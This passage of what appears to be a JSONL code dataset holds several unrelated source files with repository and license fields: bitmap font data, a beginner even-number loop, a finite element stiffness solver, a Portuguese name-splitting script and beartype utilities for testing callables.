987075, 987075, 802800, 1048575, 1048575, 1048575, 1048575],\n89: [10, 1048575, 1048575, 1048575, 1048575, 65520, 802755, 802755, 986895, 986895, 1032255, 1032255, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575, 1048575, 1048575, 1048575],\n90: [10, 1048575, 1048575, 1048575, 1048575, 786435, 786435, 790527, 987135, 1033215, 1044735, 1044543, 1047615, 1048335, 1048323, 786435, 786435, 1048575, 1048575, 1048575, 1048575],\n91: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1048383, 1032255, 1048575],\n92: [10, 1048575, 1048575, 1048575, 1048563, 1048527, 1048527, 1048527, 1048383, 1048383, 1048383, 1047807, 1047807, 1045503, 1045503, 1045503, 1036287, 1036287, 1036287, 999423, 1048575],\n93: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1036287, 1032255, 1048575],\n94: [10, 1048575, 1048575, 1048575, 1048575, 1047807, 1044543, 1045311, 1036239, 987075, 999411, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n95: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786432, 1048575],\n96: [10, 1048575, 1048575, 1048575, 1048383, 1047807, 1045503, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n97: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 983055, 786447, 802815, 786495, 802755, 802755, 802755, 786435, 786495, 1048575, 1048575, 1048575, 1048575],\n98: [10, 1048575, 1048575, 1048575, 1048515, 1048515, 1048515, 1048515, 1032195, 983043, 790467, 802755, 802755, 802755, 790467, 983043, 1032195, 1048575, 1048575, 1048575, 1048575],\n99: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786687, 786447, 1048323, 1048515, 1048515, 1048515, 1048323, 786447, 786495, 1048575, 1048575, 1048575, 1048575],\n100: [10, 1048575, 1048575, 1048575, 802815, 802815, 802815, 802815, 786495, 786447, 802563, 802755, 802755, 802755, 802563, 786447, 786495, 1048575, 1048575, 1048575, 1048575],\n101: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032255, 786447, 802755, 786435, 1048515, 1048515, 1048323, 983055, 983103, 1048575, 1048575, 1048575, 1048575],\n102: [10, 1048575, 1048575, 1048575, 255, 63, 1047615, 1047615, 786435, 786435, 1047615, 1047615, 1047615, 1047615, 1047615, 1047615, 1047615, 1048575, 1048575, 1048575, 1048575],\n103: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786495, 786447, 802563, 802755, 802755, 802755, 802563, 786447, 786495, 802815, 983043, 1032195, 1048575],\n104: [10, 1048575, 1048575, 1048575, 1048515, 1048515, 1048515, 1048515, 1032195, 983043, 790467, 802755, 802755, 802755, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n105: [10, 1048575, 1048575, 1048575, 1048575, 1044735, 1044735, 1048575, 1044483, 1044483, 1044735, 1044735, 1044735, 1044735, 1044735, 786687, 787455, 1048575, 1048575, 1048575, 1048575],\n106: [10, 1048575, 1048575, 1048575, 1048575, 1033215, 1033215, 1048575, 983055, 983055, 987135, 987135, 987135, 987135, 987135, 987135, 987135, 987135, 983043, 1032207, 1048575],\n107: [10, 1048575, 1048575, 1048575, 1048515, 1048515, 1048515, 1048515, 790467, 984003, 1032387, 1044483, 1047555, 1044675, 1033155, 987075, 802755, 1048575, 1048575, 1048575, 1048575],\n108: [10, 1048575, 1048575, 1048575, 1044483, 1044483, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 786687, 787455, 1048575, 1048575, 1048575, 1048575],\n109: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 983043, 786435, 798915, 798915, 798915, 798915, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n110: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032195, 983043, 790467, 802755, 802755, 802755, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n111: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 790275, 802755, 802755, 802755, 790275, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n112: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032195, 983043, 790467, 802755, 802755, 802755, 790467, 983043, 1032195, 1048515, 1048515, 1048515, 1048575],\n113: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786495, 786447, 802563, 802755, 802755, 802755, 802563, 786447, 786495, 802815, 802815, 802815, 1048575],\n114: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786495, 786447, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048575, 1048575, 1048575, 1048575],\n115: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786495, 786435, 1048515, 1047555, 983055, 787455, 802803, 786435, 983055, 1048575, 1048575, 1048575, 1048575],\n116: [10, 1048575, 1048575, 1048575, 1048575, 1047615, 1047615, 1047615, 786435, 786435, 1047615, 1047615, 1047615, 1047615, 1047615, 786495, 786687, 1048575, 1048575, 1048575, 1048575],\n117: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 802755, 802755, 802755, 802755, 802563, 786447, 786495, 1048575, 1048575, 1048575, 1048575],\n118: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 986895, 986895, 986895, 986895, 1032255, 1032255, 1032255, 1048575, 1048575, 1048575, 1048575],\n119: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802800, 802800, 802032, 802032, 998451, 983811, 983811, 983811, 987075, 1048575, 1048575, 1048575, 1048575],\n120: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802755, 986895, 1032255, 1032255, 1044735, 1032255, 1035327, 986895, 802755, 1048575, 1048575, 1048575, 1048575],\n121: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 802575, 986895, 986895, 986175, 986175, 983103, 1032447, 1032447, 1044483, 1047555, 1048575],\n122: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 983043, 983043, 1033215, 1044735, 1047615, 1048335, 1048335, 983043, 983043, 1048575, 1048575, 1048575, 1048575],\n123: [10, 1048575, 1048575, 1048575, 787455, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1048335, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 787455, 1048575],\n124: [10, 1048575, 1048575, 1048575, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575],\n125: [10, 1048575, 1048575, 1048575, 1047555, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 987135, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1047555, 1048575],\n126: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 850959, 786435, 984051, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n}\n", "source": "TheVinhLuong102/micropy-stubs", "license": "MIT"} {"text": "#User gives input and loop continues until user keeps entering even numbers \nEvennumber=0;\n\nwhile(Evennumber%2==0):\n print(\"Let me check if the entered number is even or not\");\n Evennumber=int(input());\n if(Evennumber%2==0):\n print(\"Number enter is even\");\n if(Evennumber%2!=0):\n print(\"You have not entered the Even number\");\n#If the entered number is not Even the loop doesn't continue and breaks\n continue;\n \n\n\n \n \n\n\n \n\n\n \n", "source": "anayakoti/FirstSample", "license": "bzip2-1.0.6"} {"text": "import numpy as np \nimport scipy\n# from sksparse.cholmod import cholesky # It works (from Terminal).\nfrom scipy.sparse.linalg import spsolve\nimport time\nimport sys, os\nsys.path.append(os.path.dirname(sys.path[0]))\nfrom elementLibrary import stiffnessMatrix, shapeFunction\nfrom otherFunctions import numericalIntegration\nfrom linearSolvers import AMORE\nfrom meshTools import toDC\n\ndef lowerOrderFE(inputData):\n \"\"\"The solver for lower order finite elements (4-node quads & 3-node triangles).\"\"\"\n startTime=time.time()\n\n parameters=inputData[0]\n\n # Material matrices.\n materialList=inputData[6]\n\n materialMatrix=[None]*len(materialList)\n\n for i in range(len(materialList)):\n materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1])\n \n # Assemble stiffness matrix.\n coordinates=inputData[5]\n meshes=inputData[3]\n materialMeshList=inputData[4]\n\n Iglo=[]\n Jglo=[]\n Vglo=[]\n\n for i in range(len(meshes[0])):\n coord=AMORE.getCoord(coordinates,meshes[0][i])\n\n if len(meshes[0][i])==3:\n Kloc=stiffnessMatrix.triFE(coord,materialMatrix[materialMeshList[0][i]])\n elif len(meshes[0][i])==4:\n Kloc=stiffnessMatrix.quadFE(coord,materialMatrix[materialMeshList[0][i]])\n else: raise ValueError(\"Wrong element numbering!\")\n \n Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[0][i])\n Iglo.extend(Iloc)\n Jglo.extend(Jloc)\n Vglo.extend(Vloc)\n\n Iglo=np.array(Iglo,dtype=int)\n Jglo=np.array(Jglo,dtype=int)\n Vglo=np.array(Vglo,dtype='d')\n\n Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr()\n \n print(\"Assembling stiffness matrix costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n\n # Force term.\n indForce=inputData[-2]\n if indForce[0]: # Body force is imposed.\n pass\n\n forceList=inputData[-1]\n\n nInt=2\n if indForce[1]: nInt+=3 # Customized boundary force.\n\n pos,wei=numericalIntegration.gaussQuad(nInt)\n fglo=np.zeros((2*len(coordinates),1))\n\n for i in range(len(forceList)//2):\n node1=forceList[2*i][0]\n node2=forceList[2*i+1][0]\n length=lenEdge(coordinates[node1],coordinates[node2])\n\n force1=np.array([forceList[2*i][1:3]]).transpose()\n force2=np.array([forceList[2*i+1][1:3]]).transpose()\n\n floc=np.zeros((4,1))\n\n for j in range(nInt):\n Nmat=shapeFunction.oneDLinear(pos[j])\n force=Nmat[0,0]*force1+Nmat[0,2]*force2\n\n floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force)\n\n fglo[2*node1:2*node1+2,0]+=floc[0:2,0]\n fglo[2*node2:2*node2+2,0]+=floc[2:4,0]\n \n print(\"Calculating force term costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n # Impose constraints.\n fixList=np.zeros((2*len(coordinates),1))\n fixIndexList=np.zeros((2*len(coordinates),1),dtype=int)\n\n constraintList=inputData[-3]\n # Very important!!! Sort the constraints!!!\n constraintList.sort(key=lambda item:item[0])\n\n for i in constraintList:\n if i[1]: \n fixList[2*i[0]]=i[3]\n fixIndexList[2*i[0]]=1\n if i[2]: \n fixList[2*i[0]+1]=i[4]\n fixIndexList[2*i[0]+1]=1\n\n # Solve.\n fglo-=(Kglo.dot(fixList))\n\n Kglo_complete=Kglo.copy()\n Kglo=Kglo.tolil()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n fglo=np.delete(fglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n fglo=np.delete(fglo,2*i[0]+1-count)\n count+=1\n\n Kglo=Kglo.transpose()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n count+=1\n\n print(\"Imposing constraints costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n Kglo=Kglo.tocsc()\n print(\"Number of non-zero sparse matrix entries = %s.\"%Kglo.count_nonzero())\n\n # factor=cholesky(Kglo)\n # disp=factor(fglo)\n disp=spsolve(Kglo,fglo)\n\n print(\"Solving the linear system costs %s seconds.\"%(time.time()-startTime))\n\n # The complete displacement solution:\n displacement=np.zeros((2*len(coordinates),1))\n count=0\n for i in range(2*len(coordinates)):\n if fixIndexList[i]: \n displacement[i]=fixList[i]\n count+=1\n else: \n displacement[i]=disp[i-count]\n\n energy=0.5*displacement.transpose()@Kglo_complete@displacement\n\n return displacement,energy\n\ndef ICMFE(inputData):\n \"\"\"The solver for (4-node) ICM finite elements. Warning: The code is only for squares. \n For general quadrilaterals, the formulation needs to be modified to pass patch tests.\"\"\"\n startTime=time.time()\n\n parameters=inputData[0]\n\n # Material matrices.\n materialList=inputData[6]\n\n materialMatrix=[None]*len(materialList)\n\n for i in range(len(materialList)):\n materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1])\n \n # Assemble stiffness matrix.\n coordinates=inputData[5]\n meshes=inputData[3]\n materialMeshList=inputData[4]\n\n Iglo=[]\n Jglo=[]\n Vglo=[]\n\n for i in range(len(meshes[0])):\n coord=AMORE.getCoord(coordinates,meshes[0][i])\n\n if len(meshes[0][i])==4:\n Kloc,_,_=stiffnessMatrix.ICMFE(coord,materialMatrix[materialMeshList[0][i]])\n else: raise ValueError(\"Wrong element numbering!\")\n \n Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[0][i])\n Iglo.extend(Iloc)\n Jglo.extend(Jloc)\n Vglo.extend(Vloc)\n\n Iglo=np.array(Iglo,dtype=int)\n Jglo=np.array(Jglo,dtype=int)\n Vglo=np.array(Vglo,dtype='d')\n\n Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr()\n \n print(\"Assembling stiffness matrix costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n\n # Force term.\n indForce=inputData[-2]\n if indForce[0]: # Body force is imposed.\n pass\n\n forceList=inputData[-1]\n\n nInt=2\n if indForce[1]: nInt+=3 # Customized boundary force.\n\n pos,wei=numericalIntegration.gaussQuad(nInt)\n fglo=np.zeros((2*len(coordinates),1))\n\n for i in range(len(forceList)//2):\n node1=forceList[2*i][0]\n node2=forceList[2*i+1][0]\n length=lenEdge(coordinates[node1],coordinates[node2])\n\n force1=np.array([forceList[2*i][1:3]]).transpose()\n force2=np.array([forceList[2*i+1][1:3]]).transpose()\n\n floc=np.zeros((4,1))\n\n for j in range(nInt):\n Nmat=shapeFunction.oneDLinear(pos[j])\n force=Nmat[0,0]*force1+Nmat[0,2]*force2\n\n floc+=0.5*wei[j]*length*np.matmul(Nmat.transpose(),force)\n\n fglo[2*node1:2*node1+2,0]+=floc[0:2,0]\n fglo[2*node2:2*node2+2,0]+=floc[2:4,0]\n \n print(\"Calculating force term costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n # Impose constraints.\n fixList=np.zeros((2*len(coordinates),1))\n fixIndexList=np.zeros((2*len(coordinates),1),dtype=int)\n\n constraintList=inputData[-3]\n # Very important!!! Sort the constraints!!!\n constraintList.sort(key=lambda item:item[0])\n\n for i in constraintList:\n if i[1]: \n fixList[2*i[0]]=i[3]\n fixIndexList[2*i[0]]=1\n if i[2]: \n fixList[2*i[0]+1]=i[4]\n fixIndexList[2*i[0]+1]=1\n\n # Solve.\n fglo-=(Kglo.dot(fixList))\n\n Kglo_complete=Kglo.copy()\n Kglo=Kglo.tolil()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n fglo=np.delete(fglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n fglo=np.delete(fglo,2*i[0]+1-count)\n count+=1\n\n Kglo=Kglo.transpose()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n count+=1\n\n print(\"Imposing constraints costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n Kglo=Kglo.tocsc()\n print(\"Number of non-zero sparse matrix entries = %s.\"%Kglo.count_nonzero())\n\n # factor=cholesky(Kglo)\n # disp=factor(fglo)\n disp=spsolve(Kglo,fglo)\n\n print(\"Solving the linear system costs %s seconds.\"%(time.time()-startTime))\n\n # The complete displacement solution:\n displacement=np.zeros((2*len(coordinates),1))\n count=0\n for i in range(2*len(coordinates)):\n if fixIndexList[i]: \n displacement[i]=fixList[i]\n count+=1\n else: \n displacement[i]=disp[i-count]\n\n energy=0.5*displacement.transpose()@Kglo_complete@displacement\n\n return displacement,energy\n\ndef quadraticFE(inputData):\n \"\"\"The solver for second order finite elements (9-node quads & 6-node triangles).\"\"\"\n startTime=time.time()\n\n parameters=inputData[0]\n\n # Material matrices.\n materialList=inputData[6]\n\n materialMatrix=[None]*len(materialList)\n\n for i in range(len(materialList)):\n materialMatrix[i]=twoDMaterialMatrix(materialList[i],parameters[1])\n \n # Assemble stiffness matrix.\n coordinates=inputData[5]\n meshes=inputData[3]\n materialMeshList=inputData[4]\n\n nodeElements=toDC.nodeElementList(coordinates,meshes)\n\n Iglo=[]\n Jglo=[]\n Vglo=[]\n\n for i in range(len(meshes[0])):\n coord=AMORE.getCoord(coordinates,meshes[0][i])\n\n if len(meshes[0][i])==6:\n Kloc=stiffnessMatrix.triQuadFE(coord,materialMatrix[materialMeshList[0][i]])\n elif len(meshes[0][i])==9:\n Kloc=stiffnessMatrix.quadQuadFE(coord,materialMatrix[materialMeshList[0][i]])\n else: raise ValueError(\"Wrong element numbering!\")\n \n Iloc,Jloc,Vloc=stiffnessMatrix.sparsifyElementMatrix(Kloc,meshes[0][i])\n Iglo.extend(Iloc)\n Jglo.extend(Jloc)\n Vglo.extend(Vloc)\n\n Iglo=np.array(Iglo,dtype=int)\n Jglo=np.array(Jglo,dtype=int)\n Vglo=np.array(Vglo,dtype='d')\n\n Kglo=scipy.sparse.coo_matrix((Vglo,(Iglo,Jglo)),shape=(2*len(coordinates),2*len(coordinates))).tocsr()\n \n print(\"Assembling stiffness matrix costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n\n # Force term.\n indForce=inputData[-2]\n if indForce[0]: # Body force is imposed.\n pass\n\n forceList=inputData[-1]\n\n nInt=3\n if indForce[1]: nInt+=2 # Customized boundary force.\n\n pos,wei=numericalIntegration.gaussQuad(nInt)\n fglo=np.zeros((2*len(coordinates),1))\n\n for i in range(len(forceList)//2):\n node1=forceList[2*i][0]\n node2=forceList[2*i+1][0]\n # length=lenEdge(coordinates[node1],coordinates[node2])\n\n # Find the element.\n elementPosition=(set(nodeElements[node1]) & set(nodeElements[node2])).pop()\n numbering=meshes[elementPosition[0]][elementPosition[1]]\n node3=findMidNode(numbering,node1,node2)\n\n force1=np.array([forceList[2*i][1:3]]).transpose()\n force2=np.array([forceList[2*i+1][1:3]]).transpose()\n\n floc=np.zeros((6,1))\n coord=np.array([coordinates[node1],coordinates[node2],[0.0,0.0]])\n if coordinates[node3]: coord[2,:]=np.array(coordinates[node3])\n else: coord[2,:]=0.5*(coord[0,:]+coord[1,:])\n\n for j in range(nInt):\n # Only support linear force distribution.\n # Otherwise, use customized boundary force.\n Nmat=shapeFunction.oneDLinear(pos[j])\n force=Nmat[0,0]*force1+Nmat[0,2]*force2\n\n quadNmat,Jacobian=shapeFunction.oneDQuadratic(pos[j],coord)\n\n floc+=wei[j]*Jacobian*np.matmul(quadNmat.transpose(),force)\n\n fglo[2*node1:2*node1+2,0]+=floc[0:2,0]\n fglo[2*node2:2*node2+2,0]+=floc[2:4,0]\n fglo[2*node3:2*node3+2,0]+=floc[4:6,0]\n \n print(\"Calculating force term costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n # Impose constraints.\n fixList=np.zeros((2*len(coordinates),1))\n fixIndexList=np.zeros((2*len(coordinates),1),dtype=int)\n\n constraintList=inputData[-3]\n # Very important!!! Sort the constraints!!!\n constraintList.sort(key=lambda item:item[0])\n \n for i in constraintList:\n if i[1]: \n fixList[2*i[0]]=i[3]\n fixIndexList[2*i[0]]=1\n if i[2]: \n fixList[2*i[0]+1]=i[4]\n fixIndexList[2*i[0]+1]=1\n\n # Solve.\n fglo-=(Kglo.dot(fixList))\n\n Kglo_complete=Kglo.copy()\n Kglo=Kglo.tolil()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n fglo=np.delete(fglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n fglo=np.delete(fglo,2*i[0]+1-count)\n count+=1\n\n Kglo=Kglo.transpose()\n\n count=0\n for i in constraintList:\n if i[1]:\n delete_row_lil(Kglo,2*i[0]-count)\n count+=1\n if i[2]:\n delete_row_lil(Kglo,2*i[0]+1-count)\n count+=1\n\n print(\"Imposing constraints costs %s seconds.\"%(time.time()-startTime))\n startTime=time.time()\n \n Kglo=Kglo.tocsc()\n\n # factor=cholesky(Kglo)\n # disp=factor(fglo)\n disp=spsolve(Kglo,fglo)\n\n print(\"Solving the linear system costs %s seconds.\"%(time.time()-startTime))\n\n # The complete displacement solution:\n displacement=np.zeros((2*len(coordinates),1))\n count=0\n for i in range(2*len(coordinates)):\n if fixIndexList[i]: \n displacement[i]=fixList[i]\n count+=1\n else: \n displacement[i]=disp[i-count]\n\n energy=0.5*displacement.transpose()@Kglo_complete@displacement\n\n return displacement,energy\n\ndef findMidNode(numbering,node1,node2):\n if len(numbering)==6:\n temp=[1,2,0]\n for i in range(3):\n if (numbering[i]==node1 and numbering[temp[i]]==node2) or \\\n (numbering[i]==node2 and numbering[temp[i]]==node1):\n return numbering[i+3]\n elif len(numbering)==9:\n temp=[1,2,3,0]\n for i in range(4):\n if (numbering[i]==node1 and numbering[temp[i]]==node2) or \\\n (numbering[i]==node2 and numbering[temp[i]]==node1):\n return numbering[i+4]\n\n return None\n\ndef twoDMaterialMatrix(material,problemType):\n \"\"\"Input:\n \n material: [E,nu];\n \n problemType: 1 -- Plane stress; 2 -- Plane strain.\"\"\"\n\n if problemType==1: # Plane stress\n Dmat=np.array([[material[0]/(1.0-material[1]**2),material[0]*material[1]/(1.0-material[1]**2),0.0],\\\n [material[0]*material[1]/(1.0-material[1]**2),material[0]/(1.0-material[1]**2),0.0],\\\n [0.0,0.0,material[0]/2.0/(1.0+material[1])]])\n elif problemType==2: #Plane strain\n cc=material[0]*(1.0-material[1])/(1.0+material[1])/(1.0-2.0*material[1])\n Dmat=np.array([[cc,cc*material[1]/(1.0-material[1]),0.0],\\\n [cc*material[1]/(1.0-material[1]),cc,0.0],\\\n [0.0,0.0,cc*(1.0-2.0*material[1])/(2.0*(1.0-material[1]))]])\n else: raise ValueError(\"No such problem type!\")\n \n return Dmat\n\ndef lenEdge(coord1,coord2):\n return ((coord1[0]-coord2[0])**2+(coord1[1]-coord2[1])**2)**0.5\n\ndef delete_row_lil(matrix,i):\n if not isinstance(matrix,scipy.sparse.lil_matrix):\n raise ValueError(\"The matrix should be in LIL format!\")\n matrix.rows=np.delete(matrix.rows,i)\n matrix.data=np.delete(matrix.data,i)\n matrix._shape=(matrix._shape[0]-1,matrix._shape[1])\n\nif __name__==\"__main__\":\n pass", "source": "junbinhuang/mofem", "license": "MIT"} {"text": "# PEGANDO O PRIMEIRO E O \u00daLTIMO NOME DE UMA PESSOA\n\nnome = input('Digite seu nome completo: ')\nnnome = nome.split()\nprinome = nnome[0]\nultinome = nnome[-1]\nprint(prinome)\nprint(ultinome)", "source": "Robert-Marchinhaki/primeiros-passos-Python", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# --------------------( LICENSE )--------------------\n# Copyright (c) 2014-2021 Beartype authors.\n# See \"LICENSE\" for further details.\n\n'''\nProject-wide **callable tester** (i.e., callable testing various properties of\npassed callables) utilities.\n\nThis private submodule implements utility functions dynamically introspecting\nvarious high-level properties of arbitrary callables.\n\nThis private submodule is *not* intended for importation by downstream callers.\n'''\n\n# ....................{ IMPORTS }....................\nfrom beartype.roar._roarexc import _BeartypeUtilCallableException\nfrom beartype._util.func.utilfunccodeobj import (\n get_func_unwrapped_codeobj_or_none)\nfrom beartype._util.utiltyping import (\n CallableCodeObjable,\n TypeException,\n)\nfrom inspect import (\n CO_ASYNC_GENERATOR,\n CO_COROUTINE,\n CO_GENERATOR,\n)\nfrom typing import Any\n\n# See the \"beartype.cave\" submodule for further commentary.\n__all__ = ['STAR_IMPORTS_CONSIDERED_HARMFUL']\n\n# ....................{ CONSTANTS }....................\nFUNC_NAME_LAMBDA = ''\n'''\nDefault name of all **pure-Python lambda functions** (i.e., function declared\nas a ``lambda`` expression embedded in a larger statement rather than as a\nfull-blown ``def`` statement).\n\nPython initializes the names of *all* lambda functions to this lambda-specific\nplaceholder string on lambda definition.\n\nCaveats\n----------\n**Usage of this placeholder to differentiate lambda from non-lambda callables\ninvites false positives in unlikely edge cases.** Technically, malicious third\nparties may externally change the name of any lambda function *after* defining\nthat function. Pragmatically, no one sane should ever do such a horrible thing.\nWhile predictably absurd, this is also the only efficient (and thus sane) means\nof differentiating lambda from non-lambda callables. Alternatives require\nAST-based parsing, which comes with its own substantial caveats, concerns,\nedge cases, and false positives. If you must pick your poison, pick this one.\n'''\n\n# ....................{ VALIDATORS }....................\n#FIXME: Uncomment when needed.\n# def die_unless_func_lambda(\n# # Mandatory parameters.\n# func: Any,\n#\n# # Optional parameters.\n# exception_cls: Type[Exception] = _BeartypeUtilCallableException,\n# ) -> None:\n# '''\n# Raise an exception unless the passed callable is a **pure-Python lambda\n# function** (i.e., function declared as a `lambda` expression embedded in a\n# larger statement rather than as a full-blown `def` statement).\n#\n# Parameters\n# ----------\n# func : Callable\n# Callable to be inspected.\n# exception_cls : type, optional\n# Type of exception to be raised if this callable is *not* a pure-Python\n# lambda function. Defaults to :class:`_BeartypeUtilCallableException`.\n#\n# Raises\n# ----------\n# exception_cls\n# If this callable is *not* a pure-Python lambda function.\n#\n# See Also\n# ----------\n# :func:`is_func_lambda`\n# Further details.\n# '''\n#\n# # If this callable is *NOT* a lambda function, raise an exception.\n# if not is_func_lambda(func):\n# assert isinstance(exception_cls, type), (\n# f'{repr(exception_cls)} not class.')\n# raise exception_cls(f'Callable {repr(func)} not lambda function.')\n\n\ndef die_unless_func_python(\n # Mandatory parameters.\n func: CallableCodeObjable,\n\n # Optional parameters.\n func_label: str = 'Callable',\n exception_cls: TypeException = _BeartypeUtilCallableException,\n) -> None:\n '''\n Raise an exception if the passed callable is **C-based** (i.e., implemented\n in C as either a builtin bundled with the active Python interpreter *or*\n third-party C extension function).\n\n Equivalently, this validator raises an exception unless the passed function\n is **pure-Python** (i.e., implemented in Python as either a function or\n method).\n\n Parameters\n ----------\n func : CallableCodeObjable\n Callable to be inspected.\n func_label : str, optional\n Human-readable label describing this callable in exception messages\n raised by this validator. Defaults to ``'Callable'``.\n exception_cls : type, optional\n Type of exception to be raised in the event of fatal error. Defaults to\n :class:`_BeartypeUtilCallableException`.\n\n Raises\n ----------\n exception_cls\n If this callable has *no* code object and is thus *not* pure-Python.\n\n See Also\n ----------\n :func:`is_func_python`\n Further details.\n '''\n\n # If this callable is *NOT* pure-Python, raise an exception.\n if not is_func_python(func):\n assert isinstance(func_label, str), f'{repr(func_label)} not string.'\n assert isinstance(exception_cls, type), (\n f'{repr(exception_cls)} not class.')\n\n # If this callable is uncallable, raise an appropriate exception.\n if not callable(func):\n raise exception_cls(f'{func_label} {repr(func)} not callable.')\n # Else, this callable is callable.\n\n # This callable *MUST* be C-based By process of elimination. In this\n # case, raise an appropriate exception.\n raise exception_cls(\n f'{func_label} {repr(func)} not pure-Python (i.e., code object '\n f'not found due to being either C[++]-based or object defining '\n f'the __call__() dunder method).'\n )\n\n# ....................{ TESTERS }....................\ndef is_func_lambda(func: Any) -> bool:\n '''\n ``True`` only if the passed object is a **pure-Python lambda function**\n (i.e., function declared as a ``lambda`` expression embedded in a larger\n statement rather than as a full-blown ``def`` statement).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is a pure-Python lambda function.\n '''\n\n # Return true only if this both...\n return (\n # This callable is pure-Python *AND*...\n is_func_python(func) and\n # This callable's name is the lambda-specific placeholder name\n # initially given by Python to *ALL* lambda functions. Technically,\n # this name may be externally changed by malicious third parties after\n # the declaration of this lambda. Pragmatically, no one sane would ever\n # do such a horrible thing. Would they!?!?\n #\n # While predictably absurd, this is also the only efficient (and thus\n # sane) means of differentiating lambda from non-lambda callables.\n # Alternatives require AST-based parsing, which comes with its own\n # substantial caveats, concerns, and edge cases.\n func.__name__ == FUNC_NAME_LAMBDA\n )\n\n\ndef is_func_python(func: object) -> bool:\n '''\n ``True`` only if the passed object is a **pure-Python callable** (i.e.,\n implemented in Python as either a function or method rather than in C as\n either a builtin bundled with the active Python interpreter *or*\n third-party C extension function).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is a pure-Python callable\n '''\n\n # Return true only if a pure-Python code object underlies this object.\n # C-based callables are associated with *NO* code objects.\n return get_func_unwrapped_codeobj_or_none(func) is not None\n\n# ....................{ TESTERS ~ async 